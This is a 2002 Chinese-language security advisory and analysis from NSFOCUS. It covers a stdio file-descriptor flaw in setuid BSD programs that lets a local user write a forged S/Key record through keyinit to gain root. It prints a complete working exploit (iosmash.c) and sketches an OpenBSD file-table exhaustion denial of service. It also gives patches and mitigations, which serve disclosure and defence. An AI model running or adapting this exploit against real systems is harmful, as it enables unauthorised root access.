首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第32期->技术专题
期刊号: 类型: 关键词:
BSD I/O句柄竞争环境与S/Key机制

作者:phased/b10z <phased@snosoft.com>FozZy <fozzy@dmpfrance.com>
整理:NSFocus Security Team <security@nsfocus.com>
出处:http://www.nsfocus.com
日期:2002-06-19

★ 原始测试代码iosmash.c

/*
* File        : iosmash.c
* Author      : phased/b10z <phased@snosoft.com>
* HomePage    : http://www.snosoft.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main ( int argc, char * argv[] )
{
    while ( dup( 1 ) != -1 )
    {
        ;
    }
    close( 2 );
    execl( "/usr/bin/keyinit",
           "\nroot 0099 snosoft2   6f648e8bd0e2988a     Apr 23,2666 01:02:03\n",
           NULL );
    return( EXIT_SUCCESS );
}

一个临时解决办法是去掉keyinit的suid-to-root属性

# chmod 0555 /usr/bin/keyinit

FreeBSD已经提供了内核补丁,请查看安全公告"FreeBSD-SA-02:23"了解更多细节。

★ S/Key机制

S/Key是种一次性口令验证机制,采用MD4得到64-bits的一次性口令。通常在一台安全的计算机上利用key(1)命令产生一次性口令,这64-bits的数据以6个英文单词的形式表现出来。

    $ key 99 th91334
    Enter password: <your secret password is entered here>
    OMEN US HORN OMIT BACK AHOY
    $

S/Key系统包括keyinit、key和keyinfo。keyinit用于建立并初始化该系统登录帐号,key用于产生一次性口令,keyinfo从S/key数据库中析取信息。运行keyinit将自己的秘密口令告知系统。运行key产生一次性口令,这里需要提    供秘密口令。注意,如果运行key时提交了错误的秘密口令,产生的一次性口令    也将是错误的,但没有任何可用信息指明是由于错误的秘密口令造成的。运行key命令时必须指定maximum_sequence,比如99。秘密口令大小写敏感,一次性口令大小写不敏感。S/Key系统可用于MAC和PC机。在FreeBSD下,可利用/etc/skey.access强制S/Key一次性口令登录,而非传统Unix口令登录。缺省情况下,x86/FreeBSD 4.5-RELEASE上安装完毕后无/etc/skey.access文件。

keyinit初始化S/Key一次性口令系统,期间会提示输入秘密口令。应该在一个安全终端(比如主控台)上运行keyinit。如果你通过一条不可信任的网络连接运行keyinit,应该使用-s选项。

keyinfo会访问S/Key数据库/etc/skeykeys文件。可用如下命令得知后续若干个一次性口令

    $ key -n <number> `keyinfo`

如果未指定username,则使用whoami命令所对应的username。只有超级用户可以查询其它用户的S/Key信息。

举例

    $ keyinfo
    98 ws91340
    $

★ 漏洞原理分析

传统上,POSIX系统假设文件句柄0、1、2分别对应stdin、stdout、stderr。几乎所有的应用程序都会向2号句柄写入错误信息,因为它们假设2号句柄就是标准错误输出句柄。

当用execve()产生新进程时,所有未指定close-on-exec标志的文件句柄将继承下来。参看fcntl(2)中关于FD_CLOEXEC的论述以及APUE 3.13小节、8.9小节、12.3.4小节。现代Unix系统默认设置是继承,除非明确设置过FD_CLOEXEC。

下面的文字来自SPARC/Solaris 8的exec(2)手册页,execve()产生的新进程从主调进程还继承了如下属性

    o  nice value (see nice(2))
    o  scheduler class and priority (see priocntl(2))
    o  process ID
    o  parent process ID
    o  process group ID
    o  supplementary group IDs
    o  semadj values (see semop(2))
    o  session membership (see exit(2) and signal(3C))
    o  real user ID
    o  real group ID
    o  trace flag (see ptrace(2) request 0)
    o  time left until an alarm clock signal (see alarm(2))
    o  current working directory
    o  root directory
    o  file mode creation mask (see umask(2))
    o  file size limit (see ulimit(2))
    o  resource limits (see getrlimit(2))
    o  tms_utime, tms_stime, tms_cutime, and tms_cstime  (see times(2))
    o  file-locks (see fcntl(2) and lockf(3C))
    o  controlling terminal
    o  process signal mask (see sigprocmask(2))
    o  pending signals (see sigpending(2))

所有POSIX系统都是顺序分配文件句柄号的,从最小未用句柄号开始分配。如果一个execve()产生的进程,其句柄0、1已经在打开状态,而2号句柄关闭了,此时打开一个文件,将返回句柄号2,注意此时2号句柄已经不是标准错误输出句柄了。如果一个进程的2号句柄不是标准错误输出句柄,但由于某些原因,该进程仍错误地假设2号句柄对应stderr,就会不适当地向这个句柄提交错误输出信息。当这个进程拥有SUID、SGID设置时,潜在导致只有特权权限才能操作的敏感文件被破坏。

/usr/bin/keyinit拥有setuid-to-root设置。

# rm /etc/skeykeys
# truss /usr/bin/keyinit
... ...
open("/etc/skeykeys",1538,0666)                  = 3 (0x3)
... ...
ioctl(0,TIOCGETA,0xbfbff67c)                     = 0 (0x0)
^C  <-- 这里Ctrl-C打断
... ...
ioctl(0,TIOCSETA,0x2806c8e0)                     = 0 (0x0)
keyinit: write(2,0xbfbfed84,9)                           = 9 (0x9)
... ...
#

注意这一行

keyinit: write(2,0xbfbfed84,9)                           = 9 (0x9)

write()的第二形参来自execve()的argv[0],注意不是第一形参path,而是argv[0]。Ctrl-C导致keyinit固定地向2号句柄--想像中的标准错误输出句柄--提交了错误信息,这里是argv[0](keyinit)。

iosmash.c中dup()调用将耗尽文件句柄表,然后close(2)使得2号句柄表项空闲出来。/usr/bin/keyinit执行时,open( "/etc/skeykeys" )返回的是2。此时2号句柄已经不是标准错误输出句柄了,可Ctrl-C后仍在向这个句柄提交错误输出信息,包括那个该死的argv[0],最终是argv[0]被写入/etc/skeyskeys文件。

iosmash.c中execl()第二形参对应argv[0],于是第二形参被写向2号句柄。遗憾的是,这次第二形参不是想像中的keyinit,而是精心构造过的S/Key系统数据库记录。于是芝麻开门了。正常情况下/etc/skeykeys为0600属性,普通用户无法读写。

# ls -l /etc/skeykeys
-rw------- root wheel /etc/skeykeys
#

S/Key系统数据库记录被单行读取,前后的垃圾信息并不影响身份认证。

★ 对此类攻击的延伸讨论

1987年,Henry Spencer在setuid(7)手册页中做了如下建议,一切标准I/O句柄都可能因关闭过而不再是真实的标准I/O句柄,在使用printf()一类的函数前,务必确认这些句柄是期待中的标准I/O句柄。1991年,在comp news上有人重贴了这份文档。

内核补丁应该确保对于SUID、SGID进程而言,0、1、2号句柄不会被打开后指向一个普通文件。这有很多实现方式,比如使它们全部指向/dev/null。这种限制不应该在库函数一级实现,可能有些SUID、SGID程序直接使用系统调用。

文件句柄、环境变量、命令行参数、当前目录、信号掩码、未决信号、残留闹钟等等,这些都要看做是攻击者可控输入,SUID、SGID程序在处理这些信息时一定要小心谨慎。

stdin、stdout、stderr中某一个被关闭,都可能潜在存在问题。另一个可能的问题是耗尽文件句柄表,只留攻击所需的少量文件句柄表项,最终被攻击的程序可能无法调用syslog()向syslogd报告错误信息。

1992年W. Richard Stevens在<<Advanced Programming in the UNIX Environment>>中建议Daemon进程应该关闭所有不必要的文件句柄,并将stdin、stdout、stderr指向/dev/null。

bert hubert <ahu@ds9a.nl>做了一个更广泛的实验,先关闭2号句柄,再执行SUID程序,接着打开一个文件,观察返回的句柄是多少,结果如下

Linux 2.2.16 RedHat AXP      Not vulnerable (thanks fets)
Linux 2.5.6 Debian 'Woody'   Not vulnerable
Linux 2.4.18 Debian 'Potato' Not vulnerable
OpenBSD 2.9                  Not vulnerable (thanks dim)
OpenBSD 3.0                  Not vulnerable (thanks sateh)
OpenBSD 3.1                  Not vulnerable (thanks dim)
OS X 10.1.4                  Not vulnerable (thanks sateh)
NetBSD 1.4.2                 Not vulnerable (thanks bounce)
Solaris 2.5.1-8              Vulnerable

测试代码可从 http://ds9a.nl/setuid-fd-2.tar.gz 获取。注意,这里需要给ld.so留下足够的文件句柄表项空间。对于Solaris,可能是/usr/lib/ld.so。对于FreeBSD可能是/var/run/ld-elf.so.hints。

注: 这个测试包中inner.c有点小问题,open()后应该是if ( fd == -1 )。

在我们的测试中发现

SPARC/Solaris 8         Vulnerable     返回2
x86/NetBSD 1.5.2        Vulnerable     返回2
x86/OpenBSD 3.0         Not Vulnerable 返回3
x86/FreeBSD 4.5-RELEASE Vulnerable     返回2
x86/RedHat 7.2 2.4.7-10 Not Vulnerable 返回3

这里所谓受影响,是指在关闭2号句柄的情况下执行setuid-to-root程序,后者读写打开一个普通文件,返回的句柄是2。OpenBSD 3.0应该是做了相应处理,返回句柄为3。值得注意的是NetBSD 1.5.2,居然受影响,而前面说NetBSD 1.4.2不受影响,看来内核升级有可能将古老的安全问题带回来,即使在这些精英开发人员中,呵。

NetBSD 1.5.2有类似的/usr/bin/skeyinit,用ktrace、kdump简单跟踪了一下,发现它打开/etc/skeykeys后,也存在类似假设2号句柄对应stderr的问题。只是这里暂时无法利用,最终出现在stderr上的用户可控数据受限,无法将一条有效S/Key数据库记录写向stderr。我测试了skeyinit -s的情形,没有进展。不过我想,既然NetBSD 1.5.0内核无相应限制,这样的本地攻击应该还有机会。

★ OpenBSD 3.0 Local DoS and root exploit

如下信息为FozZy <fozzy@dmpfrance.com>所提供

OpenBSD没有一个想像中的"per user limit",只有"per process limit",也就是说单个进程的句柄表项有限。假设一个进程在循环中不断创建无名管道,一个无名管道将消耗两个文件句柄。当该进程达到"per process limit"时,执行fork(),在子进程中继续创建无名管道。这个过程不断重复,最后达到"system limit",因为内核文件表项被消耗尽了。任何本地用户都可以按照这个思路耗尽内核文件表项,无论其是否在wheel组中。当cracker想执行命令时,可以释放一些句柄表项,进而释放一些内核文件表项。而其它用户无法执行任何命令,包括root用户,在主控台执行"ls",可能会看到"Too many open files in system"或"No ld.so"。crontab、syslogd、daemon、server都将受到影响。其它操作系统可能存在类似问题。Linux确保root总是有一些句柄表项、文件表项可用,从而避免情况恶化。尚不确认这个漏洞能否远程利用。

自1998年以来,OpenBSD内核中execve()里有一个检查,如果句柄0、1、2是关闭的,就打开/dev/null,使之对应0、1、2号句柄。这样就可以安全地执行setuid程序了。但是,OpenBSD这个检查存在一个问题,当falloc()失败时,应该转向错误处理,而不是简单地跳出循环。art在注释中指出了这点,却无人去修正它。

sys/kern/kern_exec.c

在一个循环中,内核试图打开/dev/null,使之对应0-2号句柄

(...)
    if ( ( error = falloc( p, &fp, &indx ) ) != 0 )
    {
        break;
    }
(...)

于是本地用户获得一个内核文件表项相关的竞争环境,可能获取root权限。

★ 参考资源

1) FreeBSD-SA-02:23 insecure handling of stdio file descriptors

2) Advanced Programming in the UNIX Environment
   W. Richard Stevens, Addison-Wesley, 1992.

<完>
版权所有,未经许可,不得转载